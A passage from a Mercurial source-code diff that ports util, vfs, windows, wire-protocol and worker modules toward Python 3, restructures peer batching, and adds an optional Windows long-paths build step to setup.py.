-    if pycompat.sysplatform == 'darwin':
+    if pycompat.isdarwin:
         if 'SSH_CONNECTION' in encoding.environ:
             # handle SSH access to a box where the user is logged in
             return False
@@ -1471,7 +1572,7 @@
             # pure build; use a safe default
             return True
     else:
-        return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
+        return pycompat.iswindows or encoding.environ.get("DISPLAY")
 
 def mktempcopy(name, emptyok=False, createmode=None):
     """Create a temporary file with the same contents from name
@@ -1484,7 +1585,7 @@
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
-    fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
+    fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
@@ -1507,8 +1608,10 @@
         ifp.close()
         ofp.close()
     except: # re-raises
-        try: os.unlink(temp)
-        except OSError: pass
+        try:
+            os.unlink(temp)
+        except OSError:
+            pass
         raise
     return temp
 
@@ -1958,15 +2061,15 @@
     The date may be a "unixtime offset" string or in one of the specified
     formats. If the date already is a (unixtime, offset) tuple, it is returned.
 
-    >>> parsedate(' today ') == parsedate(\
-                                  datetime.date.today().strftime('%b %d'))
+    >>> parsedate(b' today ') == parsedate(
+    ...     datetime.date.today().strftime('%b %d').encode('ascii'))
     True
-    >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
-                                               datetime.timedelta(days=1)\
-                                              ).strftime('%b %d'))
+    >>> parsedate(b'yesterday ') == parsedate(
+    ...     (datetime.date.today() - datetime.timedelta(days=1)
+    ...      ).strftime('%b %d').encode('ascii'))
     True
     >>> now, tz = makedate()
-    >>> strnow, strtz = parsedate('now')
+    >>> strnow, strtz = parsedate(b'now')
     >>> (strnow - now) < 1
     True
     >>> tz == strtz
@@ -1985,10 +2088,12 @@
     if date == 'now' or date == _('now'):
         return makedate()
     if date == 'today' or date == _('today'):
-        date = datetime.date.today().strftime('%b %d')
+        date = datetime.date.today().strftime(r'%b %d')
+        date = encoding.strtolocal(date)
     elif date == 'yesterday' or date == _('yesterday'):
         date = (datetime.date.today() -
-                datetime.timedelta(days=1)).strftime('%b %d')
+                datetime.timedelta(days=1)).strftime(r'%b %d')
+        date = encoding.strtolocal(date)
 
     try:
         when, offset = map(int, date.split(' '))
@@ -2040,12 +2145,12 @@
 
     '>{date}' on or after a given date
 
-    >>> p1 = parsedate("10:29:59")
-    >>> p2 = parsedate("10:30:00")
-    >>> p3 = parsedate("10:30:59")
-    >>> p4 = parsedate("10:31:00")
-    >>> p5 = parsedate("Sep 15 10:30:00 1999")
-    >>> f = matchdate("10:30")
+    >>> p1 = parsedate(b"10:29:59")
+    >>> p2 = parsedate(b"10:30:00")
+    >>> p3 = parsedate(b"10:30:59")
+    >>> p4 = parsedate(b"10:31:00")
+    >>> p5 = parsedate(b"Sep 15 10:30:00 1999")
+    >>> f = matchdate(b"10:30")
     >>> f(p1[0])
     False
     >>> f(p2[0])
@@ -2120,27 +2225,27 @@
     ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
 
     exact matching (no prefix):
-    >>> test('abcdefg', 'abc', 'def', 'abcdefg')
+    >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
     ('literal', 'abcdefg', [False, False, True])
 
     regex matching ('re:' prefix)
-    >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
+    >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
     ('re', 'a.+b', [False, False, True])
 
     force exact matches ('literal:' prefix)
-    >>> test('literal:re:foobar', 'foobar', 're:foobar')
+    >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
     ('literal', 're:foobar', [False, True])
 
     unknown prefixes are ignored and treated as literals
-    >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
+    >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
     ('literal', 'foo:bar', [False, False, True])
 
     case insensitive regex matches
-    >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
+    >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
     ('re', 'A.+b', [False, False, True])
 
     case insensitive literal matches
-    >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
+    >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
     ('literal', 'ABCDEFG', [False, False, True])
     """
     if pattern.startswith('re:'):
@@ -2272,6 +2377,15 @@
 def unescapestr(s):
     return codecs.escape_decode(s)[0]
 
+def forcebytestr(obj):
+    """Portably format an arbitrary object (e.g. exception) into a byte
+    string."""
+    try:
+        return pycompat.bytestr(obj)
+    except UnicodeEncodeError:
+        # non-ascii string, may be lossy
+        return pycompat.bytestr(encoding.strtolocal(str(obj)))
+
 def uirepr(s):
     # Avoid double backslash in Windows path repr()
     return repr(s).replace('\\\\', '\\')
@@ -2604,55 +2718,55 @@
 
     Examples:
 
-    >>> url('http://www.ietf.org/rfc/rfc2396.txt')
+    >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
-    >>> url('ssh://[::1]:2200//home/joe/repo')
+    >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
-    >>> url('file:///home/joe/repo')
+    >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
-    >>> url('file:///c:/temp/foo/')
+    >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
-    >>> url('bundle:foo')
+    >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
-    >>> url('bundle://../foo')
+    >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
-    >>> url(r'c:\foo\bar')
+    >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
-    >>> url(r'\\blah\blah\blah')
+    >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
-    >>> url(r'\\blah\blah\blah#baz')
+    >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
-    >>> url(r'file:///C:\users\me')
+    >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
-    >>> url('ssh://joe:xyz@x/repo')
+    >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
-    >>> url('ssh://joe@x/repo')
+    >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
-    >>> url('http://host/a?b#c')
+    >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
-    >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
+    >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
-    >>> url('')
+    >>> url(b'')
     <url path: ''>
-    >>> url('#a')
+    >>> url(b'#a')
     <url path: '', fragment: 'a'>
-    >>> url('http://host/')
+    >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
-    >>> url('http://host/#a')
+    >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
-    >>> url('http:')
+    >>> url(b'http:')
     <url scheme: 'http'>
     """
 
@@ -2752,6 +2866,7 @@
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
+    @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
@@ -2766,33 +2881,33 @@
 
         Examples:
 
-        >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
+        >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
-        >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
+        >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
-        >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
+        >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
-        >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
+        >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
-        >>> str(url('http://localhost:80//'))
+        >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
-        >>> str(url('http://localhost:80/'))
+        >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
-        >>> str(url('http://localhost:80'))
+        >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
-        >>> str(url('bundle:foo'))
+        >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
-        >>> str(url('bundle://../foo'))
+        >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
-        >>> str(url('path'))
+        >>> bytes(url(b'path'))
         'path'
-        >>> str(url('file:///tmp/foo/bar'))
+        >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
-        >>> str(url('file:///c:/tmp/foo/bar'))
+        >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
-        >>> print url(r'bundle:foo\bar')
+        >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
-        >>> print url(r'file:///D:\data\hg')
+        >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
@@ -2971,11 +3086,11 @@
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
-    >>> sizetoint('30')
+    >>> sizetoint(b'30')
     30
-    >>> sizetoint('2.2kb')
+    >>> sizetoint(b'2.2kb')
     2252
-    >>> sizetoint('6M')
+    >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
@@ -3710,10 +3825,37 @@
 
         value = docobject()
         value.__doc__ = doc
+        value._origdoc = engine.bundletype.__doc__
+        value._origfunc = engine.bundletype
 
         items[bt[0]] = value
 
     return items
 
+i18nfunctions = bundlecompressiontopics().values()
+
 # convenient shortcut
 dst = debugstacktrace
+
+def safename(f, tag, ctx, others=None):
+    """
+    Generate a name that it is safe to rename f to in the given context.
+
+    f:      filename to rename
+    tag:    a string tag that will be included in the new name
+    ctx:    a context, in which the new name must not exist
+    others: a set of other filenames that the new name must not be in
+
+    Returns a file name of the form oldname~tag[~number] which does not exist
+    in the provided context and is not in the set of other names.
+    """
+    if others is None:
+        others = set()
+
+    fn = '%s~%s' % (f, tag)
+    if fn not in ctx and fn not in others:
+        return fn
+    for n in itertools.count(1):
+        fn = '%s~%s~%s' % (f, tag, n)
+        if fn not in ctx and fn not in others:
+            return fn
diff --git a/mercurial/vfs.py b/mercurial/vfs.py
--- a/mercurial/vfs.py
+++ b/mercurial/vfs.py
@@ -16,6 +16,7 @@
 
 from .i18n import _
 from . import (
+    encoding,
     error,
     pathutil,
     pycompat,
@@ -434,7 +435,8 @@
                 os.symlink(src, linkname)
             except OSError as err:
                 raise OSError(err.errno, _('could not symlink to %r: %s') %
-                              (src, err.strerror), linkname)
+                              (src, encoding.strtolocal(err.strerror)),
+                              linkname)
         else:
             self.write(dst, src)
 
@@ -541,7 +543,7 @@
 
         # Only Windows/NTFS has slow file closing. So only enable by default
         # on that platform. But allow to be enabled elsewhere for testing.
-        defaultenabled = pycompat.osname == 'nt'
+        defaultenabled = pycompat.iswindows
         enabled = ui.configbool('worker', 'backgroundclose', defaultenabled)
 
         if not enabled:
diff --git a/mercurial/win32.py b/mercurial/win32.py
--- a/mercurial/win32.py
+++ b/mercurial/win32.py
@@ -286,7 +286,8 @@
     if code > 0x7fffffff:
         code -= 2**32
     err = ctypes.WinError(code=code)
-    raise OSError(err.errno, '%s: %s' % (name, err.strerror))
+    raise OSError(err.errno, '%s: %s' % (name,
+                                         encoding.strtolocal(err.strerror)))
 
 def _getfileinfo(name):
     fh = _kernel32.CreateFileA(name, 0,
diff --git a/mercurial/windows.py b/mercurial/windows.py
--- a/mercurial/windows.py
+++ b/mercurial/windows.py
@@ -137,7 +137,8 @@
         return fp
     except WindowsError as err:
         # convert to a friendlier exception
-        raise IOError(err.errno, '%s: %s' % (name, err.strerror))
+        raise IOError(err.errno, '%s: %s' % (
+            name, encoding.strtolocal(err.strerror)))
 
 # may be wrapped by win32mbcs extension
 listdir = osutil.listdir
@@ -266,15 +267,15 @@
 _needsshellquote = None
 def shellquote(s):
     r"""
-    >>> shellquote(r'C:\Users\xyz')
+    >>> shellquote(br'C:\Users\xyz')
     '"C:\\Users\\xyz"'
-    >>> shellquote(r'C:\Users\xyz/mixed')
+    >>> shellquote(br'C:\Users\xyz/mixed')
     '"C:\\Users\\xyz/mixed"'
     >>> # Would be safe not to quote too, since it is all double backslashes
-    >>> shellquote(r'C:\\Users\\xyz')
+    >>> shellquote(br'C:\\Users\\xyz')
     '"C:\\\\Users\\\\xyz"'
     >>> # But this must be quoted
-    >>> shellquote(r'C:\\Users\\xyz/abc')
+    >>> shellquote(br'C:\\Users\\xyz/abc')
     '"C:\\\\Users\\\\xyz/abc"'
     """
     global _quotere
diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -8,7 +8,6 @@
 from __future__ import absolute_import
 
 import hashlib
-import itertools
 import os
 import tempfile
 
@@ -22,12 +21,14 @@
 from . import (
     bundle2,
     changegroup as changegroupmod,
+    discovery,
     encoding,
     error,
     exchange,
     peer,
     pushkey as pushkeymod,
     pycompat,
+    repository,
     streamclone,
     util,
 )
@@ -80,49 +81,19 @@
     #    """
     #    raise NotImplementedError()
 
-class remotebatch(peer.batcher):
-    '''batches the queued calls; uses as few roundtrips as possible'''
-    def __init__(self, remote):
-        '''remote must support _submitbatch(encbatch) and
-        _submitone(op, encargs)'''
-        peer.batcher.__init__(self)
-        self.remote = remote
-    def submit(self):
-        req, rsp = [], []
-        for name, args, opts, resref in self.calls:
-            mtd = getattr(self.remote, name)
-            batchablefn = getattr(mtd, 'batchable', None)
-            if batchablefn is not None:
-                batchable = batchablefn(mtd.im_self, *args, **opts)
-                encargsorres, encresref = next(batchable)
-                if encresref:
-                    req.append((name, encargsorres,))
-                    rsp.append((batchable, encresref, resref,))
-                else:
-                    resref.set(encargsorres)
-            else:
-                if req:
-                    self._submitreq(req, rsp)
-                    req, rsp = [], []
-                resref.set(mtd(*args, **opts))
-        if req:
-            self._submitreq(req, rsp)
-    def _submitreq(self, req, rsp):
-        encresults = self.remote._submitbatch(req)
-        for encres, r in zip(encresults, rsp):
-            batchable, encresref, resref = r
-            encresref.set(encres)
-            resref.set(next(batchable))
-
 class remoteiterbatcher(peer.iterbatcher):
     def __init__(self, remote):
         super(remoteiterbatcher, self).__init__()
         self._remote = remote
 
     def __getattr__(self, name):
-        if not getattr(self._remote, name, False):
-            raise AttributeError(
-                'Attempted to iterbatch non-batchable call to %r' % name)
+        # Validate this method is batchable, since submit() only supports
+        # batchable methods.
+        fn = getattr(self._remote, name)
+        if not getattr(fn, 'batchable', None):
+            raise error.ProgrammingError('Attempted to batch a non-batchable '
+                                         'call to %r' % name)
+
         return super(remoteiterbatcher, self).__getattr__(name)
 
     def submit(self):
@@ -131,23 +102,47 @@
         This is mostly valuable over http where request sizes can be
         limited, but can be used in other places as well.
         """
-        req, rsp = [], []
-        for name, args, opts, resref in self.calls:
-            mtd = getattr(self._remote, name)
-            batchable = mtd.batchable(mtd.im_self, *args, **opts)
-            encargsorres, encresref = next(batchable)
-            assert encresref
-            req.append((name, encargsorres))
-            rsp.append((batchable, encresref))
-        if req:
-            self._resultiter = self._remote._submitbatch(req)
-        self._rsp = rsp
+        # 2-tuple of (command, arguments) that represents what will be
+        # sent over the wire.
+        requests = []
+
+        # 4-tuple of (command, final future, @batchable generator, remote
+        # future).
+        results = []
+
+        for command, args, opts, finalfuture in self.calls:
+            mtd = getattr(self._remote, command)
+            batchable = mtd.batchable(mtd.__self__, *args, **opts)
+
+            commandargs, fremote = next(batchable)
+            assert fremote
+            requests.append((command, commandargs))
+            results.append((command, finalfuture, batchable, fremote))
+
+        if requests:
+            self._resultiter = self._remote._submitbatch(requests)
+
+        self._results = results
 
     def results(self):
-        for (batchable, encresref), encres in itertools.izip(
-                self._rsp, self._resultiter):
-            encresref.set(encres)
-            yield next(batchable)
+        for command, finalfuture, batchable, remotefuture in self._results:
+            # Get the raw result, set it in the remote future, feed it
+            # back into the @batchable generator so it can be decoded, and
+            # set the result on the final future to this value.
+            remoteresult = next(self._resultiter)
+            remotefuture.set(remoteresult)
+            finalfuture.set(next(batchable))
+
+            # Verify our @batchable generators only emit 2 values.
+            try:
+                next(batchable)
+            except StopIteration:
+                pass
+            else:
+                raise error.ProgrammingError('%s @batchable generator emitted '
+                                             'unexpected value count' % command)
+
+            yield finalfuture.value
 
 # Forward a couple of names from peer to make wireproto interactions
 # slightly more sensible.
@@ -158,7 +153,7 @@
 
 def decodelist(l, sep=' '):
     if l:
-        return map(bin, l.split(sep))
+        return [bin(v) for v in  l.split(sep)]
     return []
 
 def encodelist(l, sep=' '):
@@ -212,6 +207,7 @@
 gboptsmap = {'heads':  'nodes',
              'common': 'nodes',
              'obsmarkers': 'boolean',
+             'phases': 'boolean',
              'bundlecaps': 'scsv',
              'listkeys': 'csv',
              'cg': 'boolean',
@@ -219,7 +215,7 @@
 
 # client side
 
-class wirepeer(peer.peerrepository):
+class wirepeer(repository.legacypeer):
     """Client-side interface for communicating with a peer repository.
 
     Methods commonly call wire protocol commands of the same name.
@@ -227,33 +223,7 @@
     See also httppeer.py and sshpeer.py for protocol-specific
     implementations of this interface.
     """
-    def batch(self):
-        if self.capable('batch'):
-            return remotebatch(self)
-        else:
-            return peer.localbatch(self)
-    def _submitbatch(self, req):
-        """run batch request <req> on the server
-
-        Returns an iterator of the raw responses from the server.
-        """
-        rsp = self._callstream("batch", cmds=encodebatchcmds(req))
-        chunk = rsp.read(1024)
-        work = [chunk]
-        while chunk:
-            while ';' not in chunk and chunk:
-                chunk = rsp.read(1024)
-                work.append(chunk)
-            merged = ''.join(work)
-            while ';' in merged:
-                one, merged = merged.split(';', 1)
-                yield unescapearg(one)
-            chunk = rsp.read(1024)
-            work = [merged, chunk]
-        yield unescapearg(''.join(work))
-
-    def _submitone(self, op, args):
-        return self._call(op, **args)
+    # Begin of basewirepeer interface.
 
     def iterbatch(self):
         return remoteiterbatcher(self)
@@ -267,7 +237,8 @@
         success, data = d[:-1].split(" ", 1)
         if int(success):
             yield bin(data)
-        self._abort(error.RepoError(data))
+        else:
+            self._abort(error.RepoError(data))
 
     @batchable
     def heads(self):
@@ -305,26 +276,17 @@
         except TypeError:
             self._abort(error.ResponseError(_("unexpected response:"), d))
 
-    def branches(self, nodes):
-        n = encodelist(nodes)
-        d = self._call("branches", nodes=n)
-        try:
-            br = [tuple(decodelist(b)) for b in d.splitlines()]
-            return br
-        except ValueError:
-            self._abort(error.ResponseError(_("unexpected response:"), d))
-
-    def between(self, pairs):
-        batch = 8 # avoid giant requests
-        r = []
-        for i in xrange(0, len(pairs), batch):
-            n = " ".join([encodelist(p, '-') for p in pairs[i:i + batch]])
-            d = self._call("between", pairs=n)
-            try:
-                r.extend(l and decodelist(l) or [] for l in d.splitlines())
-            except ValueError:
-                self._abort(error.ResponseError(_("unexpected response:"), d))
-        return r
+    @batchable
+    def listkeys(self, namespace):
+        if not self.capable('pushkey'):
+            yield {}, None
+        f = future()
+        self.ui.debug('preparing listkeys for "%s"\n' % namespace)
+        yield {'namespace': encoding.fromlocal(namespace)}, f
+        d = f.value
+        self.ui.debug('received listkey for "%s": %i bytes\n'
+                      % (namespace, len(d)))
+        yield pushkeymod.decodekeys(d)
 
     @batchable
     def pushkey(self, namespace, key, old, new):
@@ -347,35 +309,11 @@
             self.ui.status(_('remote: '), l)
         yield d
 
-    @batchable
-    def listkeys(self, namespace):
-        if not self.capable('pushkey'):
-            yield {}, None
-        f = future()
-        self.ui.debug('preparing listkeys for "%s"\n' % namespace)
-        yield {'namespace': encoding.fromlocal(namespace)}, f
-        d = f.value
-        self.ui.debug('received listkey for "%s": %i bytes\n'
-                      % (namespace, len(d)))
-        yield pushkeymod.decodekeys(d)
-
     def stream_out(self):
         return self._callstream('stream_out')
 
-    def changegroup(self, nodes, kind):
-        n = encodelist(nodes)
-        f = self._callcompressable("changegroup", roots=n)
-        return changegroupmod.cg1unpacker(f, 'UN')
-
-    def changegroupsubset(self, bases, heads, kind):
-        self.requirecap('changegroupsubset', _('look up remote changes'))
-        bases = encodelist(bases)
-        heads = encodelist(heads)
-        f = self._callcompressable("changegroupsubset",
-                                   bases=bases, heads=heads)
-        return changegroupmod.cg1unpacker(f, 'UN')
-
     def getbundle(self, source, **kwargs):
+        kwargs = pycompat.byteskwargs(kwargs)
         self.requirecap('getbundle', _('look up remote changes'))
         opts = {}
         bundlecaps = kwargs.get('bundlecaps')
@@ -388,7 +326,8 @@
                 continue
             keytype = gboptsmap.get(key)
             if keytype is None:
-                assert False, 'unexpected'
+                raise error.ProgrammingError(
+                    'Unexpectedly None keytype for key %s' % key)
             elif keytype == 'nodes':
                 value = encodelist(value)
             elif keytype in ('csv', 'scsv'):
@@ -399,7 +338,7 @@
                 raise KeyError('unknown getbundle option type %s'
                                % keytype)
             opts[key] = value
-        f = self._callcompressable("getbundle", **opts)
+        f = self._callcompressable("getbundle", **pycompat.strkwargs(opts))
         if any((cap.startswith('HG2') for cap in bundlecaps)):
             return bundle2.getunbundler(self.ui, f)
         else:
@@ -445,6 +384,69 @@
             ret = bundle2.getunbundler(self.ui, stream)
         return ret
 
+    # End of basewirepeer interface.
+
+    # Begin of baselegacywirepeer interface.
+
+    def branches(self, nodes):
+        n = encodelist(nodes)
+        d = self._call("branches", nodes=n)
+        try:
+            br = [tuple(decodelist(b)) for b in d.splitlines()]
+            return br
+        except ValueError:
+            self._abort(error.ResponseError(_("unexpected response:"), d))
+
+    def between(self, pairs):
+        batch = 8 # avoid giant requests
+        r = []
+        for i in xrange(0, len(pairs), batch):
+            n = " ".join([encodelist(p, '-') for p in pairs[i:i + batch]])
+            d = self._call("between", pairs=n)
+            try:
+                r.extend(l and decodelist(l) or [] for l in d.splitlines())
+            except ValueError:
+                self._abort(error.ResponseError(_("unexpected response:"), d))
+        return r
+
+    def changegroup(self, nodes, kind):
+        n = encodelist(nodes)
+        f = self._callcompressable("changegroup", roots=n)
+        return changegroupmod.cg1unpacker(f, 'UN')
+
+    def changegroupsubset(self, bases, heads, kind):
+        self.requirecap('changegroupsubset', _('look up remote changes'))
+        bases = encodelist(bases)
+        heads = encodelist(heads)
+        f = self._callcompressable("changegroupsubset",
+                                   bases=bases, heads=heads)
+        return changegroupmod.cg1unpacker(f, 'UN')
+
+    # End of baselegacywirepeer interface.
+
+    def _submitbatch(self, req):
+        """run batch request <req> on the server
+
+        Returns an iterator of the raw responses from the server.
+        """
+        rsp = self._callstream("batch", cmds=encodebatchcmds(req))
+        chunk = rsp.read(1024)
+        work = [chunk]
+        while chunk:
+            while ';' not in chunk and chunk:
+                chunk = rsp.read(1024)
+                work.append(chunk)
+            merged = ''.join(work)
+            while ';' in merged:
+                one, merged = merged.split(';', 1)
+                yield unescapearg(one)
+            chunk = rsp.read(1024)
+            work = [merged, chunk]
+        yield unescapearg(''.join(work))
+
+    def _submitone(self, op, args):
+        return self._call(op, **pycompat.strkwargs(args))
+
     def debugwireargs(self, one, two, three=None, four=None, five=None):
         # don't pass optional arguments left at their default value
         opts = {}
@@ -595,11 +597,11 @@
     gd = 'generaldelta' in repo.requirements
 
     if gd:
-        v = ui.configbool('server', 'bundle1gd.%s' % action, None)
+        v = ui.configbool('server', 'bundle1gd.%s' % action)
         if v is not None:
             return v
 
-    v = ui.configbool('server', 'bundle1.%s' % action, None)
+    v = ui.configbool('server', 'bundle1.%s' % action)
     if v is not None:
         return v
 
@@ -796,14 +798,18 @@
 @wireprotocommand('changegroup', 'roots')
 def changegroup(repo, proto, roots):
     nodes = decodelist(roots)
-    cg = changegroupmod.changegroup(repo, nodes, 'serve')
+    outgoing = discovery.outgoing(repo, missingroots=nodes,
+                                  missingheads=repo.heads())
+    cg = changegroupmod.makechangegroup(repo, outgoing, '01', 'serve')
     return streamres(reader=cg, v1compressible=True)
 
 @wireprotocommand('changegroupsubset', 'bases heads')
 def changegroupsubset(repo, proto, bases, heads):
     bases = decodelist(bases)
     heads = decodelist(heads)
-    cg = changegroupmod.changegroupsubset(repo, bases, heads, 'serve')
+    outgoing = discovery.outgoing(repo, missingroots=bases,
+                                  missingheads=heads)
+    cg = changegroupmod.makechangegroup(repo, outgoing, '01', 'serve')
     return streamres(reader=cg, v1compressible=True)
 
 @wireprotocommand('debugwireargs', 'one two *')
@@ -853,7 +859,8 @@
                     _('server has pull-based clones disabled'),
                     hint=_('remove --pull if specified or upgrade Mercurial'))
 
-        chunks = exchange.getbundlechunks(repo, 'serve', **opts)
+        chunks = exchange.getbundlechunks(repo, 'serve',
+                                          **pycompat.strkwargs(opts))
     except error.Abort as exc:
         # cleanly forward Abort error to the client
         if not exchange.bundle2requested(opts.get('bundlecaps')):
@@ -902,7 +909,7 @@
     except Exception as inst:
         r = str(inst)
         success = 0
-    return "%s %s\n" % (success, r)
+    return "%d %s\n" % (success, r)
 
 @wireprotocommand('known', 'nodes *')
 def known(repo, proto, nodes, others):
diff --git a/mercurial/worker.py b/mercurial/worker.py
--- a/mercurial/worker.py
+++ b/mercurial/worker.py
@@ -53,7 +53,7 @@
             raise error.Abort(_('number of cpus must be an integer'))
     return min(max(countcpus(), 4), 32)
 
-if pycompat.osname == 'posix':
+if pycompat.isposix:
     _startupcost = 0.01
 else:
     _startupcost = 1e30
@@ -203,7 +203,7 @@
     elif os.WIFSIGNALED(code):
         return -os.WTERMSIG(code)
 
-if pycompat.osname != 'nt':
+if not pycompat.iswindows:
     _platformworker = _posixworker
     _exitstatus = _posixexitstatus
 
diff --git a/setup.py b/setup.py
--- a/setup.py
+++ b/setup.py
@@ -516,6 +516,26 @@
 
 class buildhgexe(build_ext):
     description = 'compile hg.exe from mercurial/exewrapper.c'
+    user_options = build_ext.user_options + [
+        ('long-paths-support', None, 'enable support for long paths on '
+                                     'Windows (off by default and '
+                                     'experimental)'),
+    ]
+
+    LONG_PATHS_MANIFEST = """
+    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+    <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
+        <application>
+            <windowsSettings
+            xmlns:ws2="http://schemas.microsoft.com/SMI/2016/WindowsSettings">
+                <ws2:longPathAware>true</ws2:longPathAware>
+            </windowsSettings>
+        </application>
+    </assembly>"""
+
+    def initialize_options(self):
+        build_ext.initialize_options(self)
+        self.long_paths_support = False
 
     def build_extensions(self):
         if os.name != 'nt':
@@ -557,10 +577,45 @@
         objects = self.compiler.compile(['mercurial/exewrapper.c'],
                                          output_dir=self.build_temp)
         dir = os.path.dirname(self.get_ext_fullpath('dummy'))
-        target = os.path.join(dir, 'hg')
-        self.compiler.link_executable(objects, target,
+        self.hgtarget = os.path.join(dir, 'hg')
+        self.compiler.link_executable(objects, self.hgtarget,
                                       libraries=[],
                                       output_dir=self.build_temp)
+        if self.long_paths_support:
+            self.addlongpathsmanifest()
+
+    def addlongpathsmanifest(self):
+        """Add manifest pieces so that hg.exe understands long paths
+
+        This is an EXPERIMENTAL feature, use with care.
+        To enable long paths support, one needs to do two things:
+        - build Mercurial with --long-paths-support option
+        - change HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\
+                 LongPathsEnabled to have value 1.
+
+        Please ignore 'warning 81010002: Unrecognized Element "longPathAware"';
+        it happens because Mercurial uses mt.exe circa 2008, which is not
+        yet aware of long paths support in the manifest (I think so at least).
+        This does not stop mt.exe from embedding/merging the XML properly.
+
+        Why resource #1 should be used for .exe manifests? I don't know and
+        wasn't able to find an explanation for mortals. But it seems to work.
+        """
+        exefname = self.compiler.executable_filename(self.hgtarget)
+        fdauto, manfname = tempfile.mkstemp(suffix='.hg.exe.manifest')
+        os.close(fdauto)
+        with open(manfname, 'w') as f:
+            f.write(self.LONG_PATHS_MANIFEST)
+        log.info("long paths manifest is written to '%s'" % manfname)
+        inputresource = '-inputresource:%s;#1' % exefname
+        outputresource = '-outputresource:%s;#1' % exefname
+        log.info("running mt.exe to update hg.exe's manifest in-place")
+        # supplying both -manifest and -inputresource to mt.exe makes
+        # it merge the embedded and supplied manifests in the -outputresource
+        self.spawn(['mt.exe', '-nologo', '-manifest', manfname,
+                    inputresource, outputresource])
+        log.info("done updating hg.exe's manifest")
+        os.remove(manfname)
 
     @property
     def hgexepath(self):
@@ -709,6 +764,8 @@
             'mercurial.hgweb',
             'mercurial.httpclient',
             'mercurial.pure',
+            'mercurial.thirdparty',
+            'mercurial.thirdparty.attr',
             'hgext', 'hgext.convert', 'hgext.fsmonitor',
             'hgext.fsmonitor.pywatchman', 'hgext.highlight',
             'hgext.largefiles', 'hgext.zeroconf', 'hgext3rd',
@@ -760,13 +817,14 @@
                                         'mercurial/cext/mpatch.c'],
               include_dirs=common_include_dirs,
               depends=common_depends),
-    Extension('mercurial.cext.parsers', ['mercurial/cext/dirs.c',
+    Extension('mercurial.cext.parsers', ['mercurial/cext/charencode.c',
+                                         'mercurial/cext/dirs.c',
